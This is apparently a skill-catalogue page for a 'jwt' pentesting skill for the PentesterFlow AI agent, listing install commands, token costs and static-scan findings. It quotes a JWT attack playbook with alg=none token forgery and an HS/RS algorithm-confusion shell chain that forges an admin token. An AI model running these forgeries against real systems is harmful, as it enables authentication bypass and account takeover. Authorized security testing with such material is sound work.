PentesterFlow is a terminal-based AI assistant for authorized penetration testing and bug hunting, guiding analysts through reconnaissance, testing, evidence gathering, and reporting while requiring human approval for sensitive actions. Security engineers use it with local or hosted language models and real security tools, and the catalogue add-ons extend its workflows.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add PentesterFlow/agent --skill jwtgit clone --depth 1 https://github.com/PentesterFlow/agentWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/pentesterflow/agent/jwt)<a href="https://agentmods.dev/skills/pentesterflow/agent/jwt"><img src="https://agentmods.dev/badge/skills/pentesterflow/agent/jwt/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/pentesterflow/agent/jwt"><img src="https://agentmods.dev/badge/skills/pentesterflow/agent/jwt.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 3 findings, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high YARA Match · line 105 YARA rule matched a hack tool or exploit indicator (offensive tools, reconnaissance, privilege escalation, or exploit frameworks).Fix: Remove offensive tool references and exploit code. Legitimate agent skills should not contain penetration testing tools, exploit frameworks, or reconnaissance utilities.
- high Privilege Escalation · line 109 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
- high Privilege Escalation · line 71 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00060 | $0.01477 |
| Opus 5.5 | $0.00024 | $0.00591 |
| Sonnet 5.5 | $0.00012 | $0.00295 |
| Haiku 4.5 | $0.00006 | $0.00148 |
Grade A, and why
jwt scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
PUB=$(curl -s https://target/.well-known/jwks.json | jq -r '.keys[0]' | jose key -i- -O pem.pub) How it starts
The opening of the file, as written. The whole thing — 130 lines — stays where its author put it; the contents beside it link to each section on GitHub.
JWT playbook
You have one or more eyJ... tokens. The goal is to forge an authenticated token that the server accepts.
Execution rule: use real tokens, URLs, and keys from the scoped target before running commands. Never write literal placeholders such as <payload-b64> or <future> to files; if a value is missing, ask once.
0. Decode every token you have
Base64url-decode header and payload. Note:
alg— algorithm.none,HS256,HS384,HS512,RS256,RS384,RS512,ES256,ES384,ES512,PS256...kid— key identifier (path / id pointing at a key on the server).jku— URL to a JWK Set hosting the signing keys.jwk— embedded JWK.x5u— URL to an X.509 certificate.x5c— embedded X.509 chain.
echo "<payload-b64>" | base64 -d | jq .
Capture the user id / role field for later forgery (sub, uid, role, isAdmin, ...).
1. alg=none
Many libraries used to (and a few still do) accept {"alg":"none"} and skip signature verification. Forge:
header = base64url({"alg":"none","typ":"JWT"})
payload = base64url({"sub":"admin","role":"admin","exp":<future>})
signature = "" # empty, but the trailing dot stays
token = header + "." + payload + "."
Variants to try: none, None, NONE, NoNe (case fuzzing) — read_payloads(skill="jwt", file="alg-none-variants.txt").
2. HS/RS algorithm confusion
If the server expects RS256 (asymmetric, verifies with public key) and you can obtain the public key, you can forge an HS256 token signed with the public key as the HMAC secret.
Find the public key:
/.well-known/jwks.json,/jwks.json,/api/jwks,/oauth2/jwks,/jwks_urifrom OIDC discovery.- Sometimes embedded in a JS bundle (
grep -E "BEGIN PUBLIC KEY" -r).
Forge with hs-rs-confusion.sh:
PUB=$(curl -s https://target/.well-known/jwks.json | jq -r '.keys[0]' | jose key -i- -O pem.pub)
HEAD=$(printf '%s' '{"alg":"HS256","typ":"JWT"}' | base64url)
PAYL=$(printf '%s' '{"sub":"admin","exp":2000000000}' | base64url)
SIG=$(printf '%s.%s' "$HEAD" "$PAYL" | openssl dgst -sha256 -hmac "$(cat pem.pub)" -binary | base64url)
echo "$HEAD.$PAYL.$SIG"
What ships with it
3 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago First seen · 130 lines · 60 tokens per session scan A 22d68bc0dfd4
jwt is a skill published in the GitHub repository PentesterFlow/agent (1,400 stars, last pushed 1mo ago), licensed Apache-2.0. It adds 60 tokens to every session and 1,477 once invoked, about $0.0002 per session on Opus 5.5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
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